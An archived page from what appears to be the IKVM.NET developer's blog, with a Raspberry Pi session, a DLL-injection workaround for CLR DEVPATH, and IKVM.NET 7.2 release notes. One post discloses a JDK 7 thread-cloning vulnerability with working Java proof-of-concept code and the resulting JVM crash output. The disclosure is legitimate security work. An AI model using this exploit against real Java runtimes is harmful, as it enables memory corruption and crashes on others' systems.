# Friday, 28 December 2012
Raspberry Pi

I got a Raspberry Pi for my birthday.

pi@raspberrypi ~ $ sudo apt-get install ikvm
pi@raspberrypi ~ $ ikvmc -out:javac.exe -r:/usr/lib/ikvm/IKVM.OpenJDK.Tools.dll -main:com.sun.tools.javac.Main
pi@raspberrypi ~ $ vi Hello.java
pi@raspberrypi ~ $ mono javac.exe Hello.java
pi@raspberrypi ~ $ ikvm Hello
Hello World

Amazing...

Friday, 28 December 2012 21:19:04 (W. Europe Standard Time, UTC+01:00)  #    Comments [1]
# Sunday, 16 December 2012
A Hack To Make CLR's DEVPATH Suck Less

The CLR's DEVPATH feature has always been broken and its brokeness varied over the years, but for my purposes it was a very useful feature. However with .NET .4.5 Microsoft decided to up the ante. If you have configured your .NET 4.5 runtime as a "developer installation", ngen will fail to generate native images for framework assemblies. This means that after Windows Update services mscorlib.dll, no native images will be used anymore.

Obviously you can work around this by editing the machine.config and re-running ngen, but that is a bit of a pain so decided to hack together a workaround.

The basic idea is to have a DLL that gets injected into (nearly) every process and patches mscoree.dll to make CreateConfigStream read developer-machine.config instead of machine.config if the DEVPATH environment variable is set.

The source and binaries are available here. Like the Microsoft DEVPATH code, this is untested so there is no warranty and use at your own risk. Bug reports are welcome of course.

There is no installer and there are no installation instructions, because frankly, if you don't know how to install it you probably shouldn't be doing so anyway..

The overhead is fairly low. If you don't have DEVPATH set the DLL will immediately unload again. The file size is only 3KB and in memory it will only use a single 4KB page.

Sunday, 16 December 2012 11:47:50 (W. Europe Standard Time, UTC+01:00)  #    Comments [3]
# Wednesday, 12 December 2012
New Development Snapshot

Time for another development snapshot.

Changes:

  • Do the "no serialization" check before calling Serialization.AddAutomagicSerialization() to avoid triggering the class initializer (which will try to load SerializableAttribute, which is not available everywhere).
  • Removed more ConstructorBuilder usage to fix regression (constructor custom attributes specified map.xml were not applied).
  • Construct the System assembly name from the mscorlib name to support other runtimes.
  • Removed dummy constructor from __Helper class.
  • Removed remaining ConstructorBuilder usages.
  • Removed unnecessary MethodBuilder casts.
  • Removed permanent app.config files and changed build process to only generate them when doing a .NET 2.0 build.
  • Bug fix. Transient field modifier should also be retained on literal fields.
  • Bug fix. Field.getModifiers() should only return the relevant modifiers.
  • Removed some O(n^2) operations to improve handling of class files with a large number of fields.
  • Bug fix. Set AddressOfRawData in IMAGE_DEBUG_DIRECTORY.
  • Bug fix. Class.forName("") should not throw System.ArgumentException.
  • Bug fix. Off-by-one error in local ref index reusing. Fix for bug #3575555.
  • Bug fix. Don't try to inject DynamicMethod in array types (applies to array.clone() method for MethodHandles).
  • Bug fix. Abstract generic methods are not supported. Fix for #3579785.
  • Bug fix. Interface mappings can be "incomplete". Fix for bug #3581564.
  • Added (optional) support for building without System.Core.dll dependency.
  • Bug fix. The local variable state at the end of an exception block (if the last instruction is a local variable store) needs to be merged into the exception handler state.
  • Changed FileNotFoundException message in the case of an access denied to match the JDK message. JRuby depends on this.
  • Renamed Adler32 "checksum" field to "adler", because JRuby depends on this.
  • Bug fix. The static compiler cannot use a different way to encode erased array types than the runtime compiler (because otherwise the runtime can't override statically compiled methods).
  • Fixed native library build to explicitly pass /MACHINE option to linker to avoid warning.
  • Implemented StandardGlyphVector.performDefaultLayout() and setGlyphPosition(int, Point2D).
  • Added missing SecuritySafeCritical attribute.
  • Changed build infrastructure to support targetting .NET 4.0 on systems where 4.5 is installed.
  • IKVM.Reflection: Bug fix. Ignore unknown metadata streams instead of throwing a BadImageFormatException. The CLR ignores these streams as well and some obfuscators add them.
  • IKVM.Reflection: Added TypeInfo (from .NET 4.5).
  • IKVM.Reflection: Implemented caching for TypeDefImpl.IsGenericTypeDefinition property.
  • IKVM.Reflection: Added new .NET 4.5 TypeBuilder.DefineNestedType() overload.
  • IKVM.Reflection: Added new .NET 4.5 API TypeBuilder.CreateTypeInfo().
  • IKVM.Reflection: Added new .NET 4.0 overload of TypeBuilder.DefineProperty().
  • IKVM.Reflection: Added new .NET 4.5 property AssemblyName.CultureName.
  • IKVM.Reflection: When an assembly name has a duplicate key, throw FileLoadException like .NET 4.x does instead of COMException like .NET 2.0 does.
  • IKVM.Reflection: Added new .NET 4.5 property MethodBase.MethodImplementationFlags.
  • IKVM.Reflection: Added new .NET 4.5 properties CustomAttributeNamedArgument.IsField and CustomAttributeNamedArgument.MemberName.
  • IKVM.Reflection: Added new .NET 4.5 properties EventInfo.AddMethod, EventInfo.RaiseMethod and EventInfo.RemoveMethod.
  • IKVM.Reflection: Added new .NET 4.5 property ParameterInfo.HasDefaultValue.
  • IKVM.Reflection: Added new .NET 4.5 properties PropertyInfo.GetMethod and PropertyInfo.SetMethod.
  • IKVM.Reflection: Added Universe.DefineDynamicAssembly(AssemblyName, AssemblyBuilderAccess, IEnumerable) that corresponds to new .NET 4.5 API AssemblyBuilder.DefineDynamicAssembly(...).
  • IKVM.Reflection: Added new .NET 4.5 method EnumBuilder.CreateTypeInfo().
  • IKVM.Reflection: Added new .NET 4.0 method GetCustomAttributesData() to Assembly, MemberInfo, Module and ParameterInfo.
  • IKVM.Reflection: Added new .NET 4.5 property CustomAttributes to Assembly, MemberInfo, Module and ParameterInfo.
  • IKVM.Reflection: Added new .NET 4.5 property Type.GenericTypeArguments.
  • IKVM.Reflection: Added new .NET 4.0 methods Type.GetEnumNames(), Type.GetEnumName() and Type.IsEnumDefined().
  • IKVM.Reflection: Added new .NET 4.5 properties Assembly.ExportedTypes and Assembly.DefinedTypes.
  • IKVM.Reflection: Added new .NET 4.5 property Assembly.Modules.
  • IKVM.Reflection: Moved local var signature token creation to a more logical location.
  • IKVM.Reflection: Added new .NET 4.5 methods ConstructorBuilder.SetMethodBody() and MethodBuilder.SetMethodBody(). Note that the implementation is currently completely untested.
  • IKVM.Reflection: Added (old) method MethodBuilder.CreateMethodBody() that is now trivial to implement.
  • IKVM.Reflection: Added new .NET 4.0 property Assembly.IsDynamic.
  • IKVM.Reflection: Added (old) API Module.GetSignerCertificate().
  • IKVM.Reflection: Bug fix. While reading the Cecil source I realized that array bounds are signed.
  • IKVM.Reflection: Stop relying on System.Reflection.AssemblyName to compute public key token from public key.
  • IKVM.Reflection: Small optimization to table record allocation. Thanks to Marek for the pointer.
  • IKVM.Reflection: Implemented LocalVariableInfo.ToString().
  • IKVM.Reflection: Bug fix. ModuleReader.ResolveMember() should support types. Thanks to Jb Evain for finding this.
  • IKVM.Reflection: Bug fix. LocalBuilder should extend LocalVariableInfo.
  • IKVM.Reflection: Made AssemblyBuilder.__AssemblyFlags a read/write property and marked __SetAssemblyFlags() obsolete.
  • IKVM.Reflection: Bug fix. Changed AssemblyName.ProcessorArchitecture to match (weird) .NET behavior. When reading the property it returns the architecture of the PE file, not the field from the AssemblyDef record.
  • IKVM.Reflection: Throw InvalidOperationException when MethodBuilder.DefineGenericParameters() is called a second time.
  • IKVM.Reflection: Added UniverseOptions.DontProvideAutomaticDefaultConstructor to disable the "helpful" creation of a default constructor.
  • IKVM.Reflection: Fixed ExportedType resolver to support types defined in another module in this assembly.
  • IKVM.Reflection: Added the Assembly.ModuleResolve event.
  • IKVM.Reflection: If missing member resolution is enabled, automatically create missing modules as needed.
  • IKVM.Reflection: Simplified LazyForwardType resolution to reuse ResolveExportedType() and thus always set the metadata token for forwarded missing types.
  • IKVM.Reflection: Added Type.__IsTypeForwarder property to let mcs distinguish between "normal" missing types and forwarded missing types.
  • IKVM.Reflection: When calling MethodBuilder.DefineParameter() multiple times for the same parameter, we would (sometimes) not store the ParameterBuilder and this would cause the resulting PE file to be corrupt. Now we store the duplicate Param records like SRE does.
  • IKVM.Reflection: Added UniverseOptions.MetadataOnly.
  • IKVM.Reflection: Made user string heap loading lazy.
  • IKVM.Reflection: Bug fix. If SizeOfOptionalHeader is greater than the number of bytes we read from the optional header, we should skip the additional bytes. If it is less, the image is invalid. Thanks to Jb Evain.

Binaries available here: ikvmbin-7.3.4728.zip

Wednesday, 12 December 2012 10:25:12 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Monday, 10 December 2012
IKVM.NET 7.2 Released

I've released IKVM.NET 7.2 to SourceForge and NuGet. The binaries are identical to the ones in release candidate 5.

Release Notes

This document lists the improvements, known issues and incompatibilities.

What's New (relative to IKVM.NET 7.1):

  • Integrated OpenJDK 7 u6 b24.
  • Improved java.util.concurrent performance.
  • Removed org.omg.PortableInterceptor.UNKNOWN class, that is not part of [Open]JDK rt.jar.
  • Added ZipFile constructor that was added in Java 7.
  • Add support for running with headless awt toolkit.
  • Changed ikvmc to apply custom attribute annotations on annotation types to the corresponding custom attribute that is generated (and allow AttributeUsageAttribute to override the default AttributeUsageAttribute generated from the @Target annotation).
  • Added app.config files for executables to allow them to run on .NET 4.5 on Windows 8 without triggering the .NET 3.5 auto download.
  • Added (optional) support for building without System.Core.dll dependency.
  • Disabled AppDomain.ProcessExit hook to run shutdown hooks when running on Mono to workaround https://bugzilla.xamarin.com/show_bug.cgi?id=5650.
  • Several verifier fixes.
  • Several metadata reflection fixes.
  • Fixed two try/finally block code gen bugs.
  • Various other minor fixes.
  • IKVM.Reflection: Many minor bug fixes and improvements.
  • IKVM.Reflection: Added most new .NET 4.5 APIs.
  • IKVM.Reflection: Added experimental support for generating Windows Runtime (.winmd) assemblies.
  • IKVM.Reflection: Added missing DefineResource() APIs to ModuleBuilder and AssemblyBuilder.
  • IKVM.Reflection: Added co-/contra-variance support to Type.IsAssignableFrom().
  • IKVM.Reflection: Added support for using the .NETCore v4.5 aka Metro profile mscorlib.dll.
  • IKVM.Reflection: Added UniverseOptions.DisablePseudoCustomAttributeRetrieval to disable returning pseudo custom attributes.
  • IKVM.Reflection: Bug fix. Ignore unknown metadata streams.
  • IKVM.Reflection: Bug fix. Set AddressOfRawData in IMAGE_DEBUG_DIRECTORY.

Runtime

  • Code unloading (aka class GC) is not supported.
  • In Java static initializers can deadlock, on .NET some threads can see uninitialized state in cases where deadlock would occur on the JVM.
  • JNI
     
    • Only supported in the default AppDomain.
    • Only the JNICALL calling convention is supported! (On Windows, HotSpot appears to also support the cdecl calling convention).
    • Cannot call string contructors on already existing string instances
    • A few limitations in Invocation API support
       
      • The Invocation API is only supported when running on .NET.
      • JNI_CreateJavaVM: init options "-verbose[:class|:gc|:jni]", "vfprintf", "exit" and "abort" are not implemented. The JDK 1.1 version of JavaVMInitArgs isn't supported.
      • JNI_GetDefaultJavaVMInitArgs not implemented
      • JNI_GetCreatedJavaVMs only returns the JavaVM if the VM was started through JNI or a JNI call that retrieves the JavaVM has already occurred.
      • DestroyJVM is only partially implemented (it waits until there are no more non-daemon Java threads and then returns JNI_ERR).
      • DetachCurrentThread doesn't release monitors held by the thread.
    • Native libraries are never unloaded (because code unloading is not supported).
  • The JVM allows any reference type to be passed where an interface reference is expected (and to store any reference type in an interface reference type field), on IKVM this results in an IncompatibleClassChangeError.
  • monitorenter / monitorexit cannot be used on unitialized this reference.
  • Floating point is not fully spec compliant.
  • A method returning a boolean that returns an integer other than 0 or 1 behaves differently (this also applies to byte/char/short and for method parameters).
  • Synchronized blocks are not async exception safe.
  • Ghost arrays don't throw ArrayStoreException when you store an object that doesn't implement the ghost interface.
  • Class loading is more eager than on the reference VM.
  • Interface implementation methods are never really final (interface can be reimplemented by .NET subclasses).
  • JSR-133 finalization spec change is not fully implemented. The JSR-133 changes dictate that an object should not be finalized unless the Object constructor has run successfully, but this isn't implemented.
  • Strict class-file checking is not implemented.
  • If a class with a finalizer and static initializer allocates instances of itself in the static initializer and the static initializer subsequently fails, the .NET runtime may abort the application when trying to finalize the objects.

Static Compiler (ikvmc)

  • Some subtle differences with ikvmc compiled code for public members inherited from non-public base classes (so called "access stubs"). Because the access stub lives in a derived class, when accessing a member in a base class, the derived cctor will be run whereas java (and ikvm) only runs the base cctor.
  • Try blocks around base class ctor invocation result in unverifiable code (no known compilers produce this type of code).
  • Try/catch blocks before base class ctor invocation result in unverifiable code (this actually happens with the Eclipse compiler when you pass a class literal to the base class ctor and compile with -target 1.4).
  • Only code compiled together during a single compilation fully obeys the JLS binary compatibility rules.

Class Library

Most class library code is based on OpenJDK 7u6 build 24. Below is a list of divergences and IKVM.NET specific implementation notes.

com.sun.security.auth.module        Only implemented on Windows.
java.applet Not implemented.
java.awt Partial System.Windows.Forms based back-end. Not supported.
java.io.Console Not implemented.
java.lang.instrument Not implemented.
java.lang.management Limited implementation.
java.net SCTP and SDP not implemented.
java.net.ProxySelector Getting the default system proxy for a URL is not implemented.
java.nio.file Most optional features (e.g. ACLs) are not implemented.
java.text.Bidi Not supported.
java.util.zip Partially based on GNU Classpath implementation.
javax.crypto ECC is not implemented.
javax.imageio.plugins.jpeg Partial implementation. JPEGs can be read and written and there is limited metadata support.
javax.management Limited implementation.
javax.print There is a Win32 specific printing implementation. Not supported.
javax.script ECMAScript implementation is not included.
javax.smartcardio Not implemented.
javax.sound Not implemented.
javax.swing Not supported.
javax.tools Not supported.
org.ietfs.jgss Not implemented.
sun.jdbc.odbc Implementation based on .NET ODBC managed provider.
sun.net.www.content.audio Audio content handlers not implemented.
sun.net.www.content.image Not supported.

The entire public API is available, so "Not implemented." for javax.smartcardio, for example, means that the API is there but there is no back-end to provide the actual smartcard communication support. "Not supported." means that the code is there and probably works at least somewhat, but that I'm less likely to fix bugs reported in these areas, but patches are welcome, of course.

Specific API notes:

  • java.lang.Thread.stop(Throwable t) doesn't support throwing arbitrary exceptions on other threads (only java.lang.ThreadDeath).
  • java.lang.Thread.holdsLock(Object o) causes a spurious notify on the object (this is allowed by the J2SE 5.0 spec).
  • java.lang.String.intern() strings are never garbage collected.
  • Weak/soft references and reference queues are inefficient and do not fully implement the required semantics.
  • java.lang.ref.SoftReference: Soft references are not guaranteed to be cleared before an OutOfMemoryError is thrown.
  • Threads started outside of Java aren't "visible" (e.g. in ThreadGroup.enumerate()) until they first call Thread.currentThread().
  • java.lang.Thread.getState() returns WAITING or TIMED_WAITING instead of BLOCKING when we're inside Object.wait() and blocking to re-acquire the monitor.
  • java.nio.channel.FileChannel.lock() shared locks are only supported on Windows NT derived operating systems.
  • java.lang.SecurityManager: Deprecated methods not implemented: classDepth(String), inClass(String), classLoaderDepth(), currentLoadedClass(), currentClassLoader(), inClassLoader()

Supported Platforms

This release has been tested on the following CLI implementations / platforms:

CLI Implementation       Architecture      Operating System
.NET 2.0 SP2 x86 Windows 8
.NET 2.0 SP2 x64 Windows 8
.NET 4.5 x86 Windows 8
.NET 4.5 x64 Windows 8
Monday, 10 December 2012 07:51:13 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Thursday, 06 December 2012
IKVM.NET 7.2 Release Candidate 5

Apologies for the ridiculous delay. I've been busy. This is the final release candidate.

Changes (relative to rc 4):

  • Updated version to 7.2.4630.5
  • Bug fix. The static compiler cannot use a different way to encode erased array types than the runtime compiler (because otherwise the runtime can't override statically compiled methods).
  • Added missing SecuritySafeCritical attribute.

Binaries available here: ikvmbin-7.2.4630.5.zip

Sources: ikvmsrc-7.2.4630.5.zip, openjdk-7u6-b24-stripped.zip

Thursday, 06 December 2012 10:13:45 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Thursday, 01 November 2012
JDK 7 Thread Cloning Vulnerability

This blog entry was originally posted on June 23, 2011, but was deleted as Oracle asked me to take it down while they investigate. After more than a year, the issue still has not been addressed, so I notified Oracle that I wanted to repost the blog entry and received no response. -- Jeroen

I warned on the mailing list when this came up, but apparently was ignored,so maybe a blog post will help.

In one of last year's updates of JDK 6 the cloning vulnerability was fixed in a hackish, but clever and safe way. Now in JDK 7 they try to fix it by overriding Object.clone() with a version that simply throws CloneNotSupportedException. The only problem is, in Java (and .NET too) overriding a method is not a safe way to make the base class method unavailable.

The (still) not so well known ACC_SUPER flag allows you (when it isn't set) to call arbitrary (accessible) methods in your super class hierarchy. So Thread.clone() can be skipped and Object.clone() can be called from any Thread subclass that doesn't have the ACC_SUPER flag set.

Here's an example:

class Clone extends Thread implements Cloneable {
  public Object clone() {
    try { return super.clone(); }
    catch (CloneNotSupportedException _) { throw new Error(); }
  }
}

class Demo {
  public static void main(String[] args) throws Throwable {
    Clone c1 = new Clone() {
      public void run() {
        for (;;) {
        }
      }
    };
    c1.start();
    Thread t = (Thread)c1.clone();
    c1.stop();
    c1.join();
    System.gc();
    t.stop();
  }
}

Note that after you compile this with JDK 6 you'll need to edit the Clone.class to clear the ACC_SUPER flag. Use a hex editor to replace 20 (hex) with 00 or download a copy here.

Now run it:

C:\j>\jdk1.7-b145\bin\java Demo
#
# A fatal error has been detected by the Java Runtime Environment:
#
# EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x000000006cd5af54, pid=3708, t id=10460
#
# JRE version: 7.0-b145
# Java VM: Java HotSpot(TM) 64-Bit Server VM (21.0-b15 mixed mode windows-amd64 compressed oops)
# Problematic frame:
# V [jvm.dll+0x1caf54]
#
# Failed to write core dump. Minidumps are not enabled by default on client versions of Windows
#
# An error report file with more information is saved as:
# C:\j\hs_err_pid3708.log
#
# If you would like to submit a bug report, please visit:
# http://bugreport.sun.com/bugreport/crash.jsp
#

Thursday, 01 November 2012 16:11:20 (W. Europe Standard Time, UTC+01:00)  #    Comments [9]
# Wednesday, 31 October 2012
IKVM.NET 7.2 Release Candidate 4

Yet another release candidate.

Changes (relative to rc 3):

  • Updated version to 7.2.4630.4
  • Added (optional) support for building without System.Core.dll dependency.
  • Bug fix. Generate override stubs for unsupported abstract generic methods. Fix for #3579785.
  • Bug fix. Handle incomplete interface mappings. Fix for bug #3581564.
  • Bug fix. Verifier should not merge state from instruction following exception block to handler. Fix for bug #3580611.

Binaries available here: ikvmbin-7.2.4630.4.zip

Sources: ikvmsrc-7.2.4630.4.zip, openjdk-7u6-b24-stripped.zip

Wednesday, 31 October 2012 13:50:31 (W. Europe Standard Time, UTC+01:00)  #    Comments [3]
# Tuesday, 23 October 2012
IKVM.NET 7.2 Release Candidate 3

The stream of release candidates seems to never end, but I really wanted to include the fix for bug #3575555. I also included some other low-risk fixes.

Changes (relative to rc 2):

  • Updated version to 7.2.4630.3
  • Bug fix. Off-by-one error in JNI local ref index reusing. Fix for bug #3575555.
  • Bug fix. Don't try to inject DynamicMethod in array types (applies to array.clone() method for MethodHandles).
  • IKVM.Reflection: Bug fix. ModuleReader.ResolveMember() should support types. Thanks to Jb Evain for finding this.
  • IKVM.Reflection: Bug fix. While reading the Mono.Cecil source I realized that array bounds are signed.
  • IKVM.Reflection: Bug fix. LocalBuilder should extend LocalVariableInfo.
  • IKVM.Reflection: Implemented LocalVariableInfo.ToString().

Binaries available here: ikvmbin-7.2.4630.3.zip

Sources: ikvmsrc-7.2.4630.3.zip, openjdk-7u6-b24-stripped.zip

Tuesday, 23 October 2012 10:24:01 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Monday, 08 October 2012
IKVM.NET 7.2 Release Candidate 2

More bug fixes.

Changes (relative to rc 1):

  • Updated version to 7.2.4630.2
  • Bug fix. Class.forName("") should not throw System.ArgumentException.
  • Bug fix. Transient field modifier should be retained on literal fields.
  • Bug fix. Field.getModifiers() should only return the relevant modifiers.
  • IKVM.Reflection: Bug fix. Ignore unknown metadata streams.
  • IKVM.Reflection: Bug fix. Set AddressOfRawData in IMAGE_DEBUG_DIRECTORY.

Binaries available here: ikvmbin-7.2.4630.2.zip

Sources: ikvmsrc-7.2.4630.2.zip, openjdk-7u6-b24-stripped.zip

Monday, 08 October 2012 09:48:54 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Wednesday, 03 October 2012
IKVM.NET 0.46 Update 2 Release Candidate 1

I forgot to include the fix for transient constant static final fields in the previous release candidate and a new bug was reported in how IKVM.Reflection writes the debug PE header that causes problems with Visual Studio 2012's code coverage tools.

Changes (relative to 0.46 Update 2 rc 0):

  • Updated version to 0.46.0.4.
  • Fixed ikvmc to retain transient modifier on constant static final fields.
  • Fixed Field.getModifiers() to only return the relevant modifiers.
  • Fixed IKVM.Reflection to set AddressOfRawData in IMAGE_DEBUG_DIRECTORY.

Binaries available here: ikvmbin-0.46.0.4.zip

Sources: ikvmsrc-0.46.0.4.zip, openjdk6-b22-stripped.zip

Wednesday, 03 October 2012 08:26:59 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]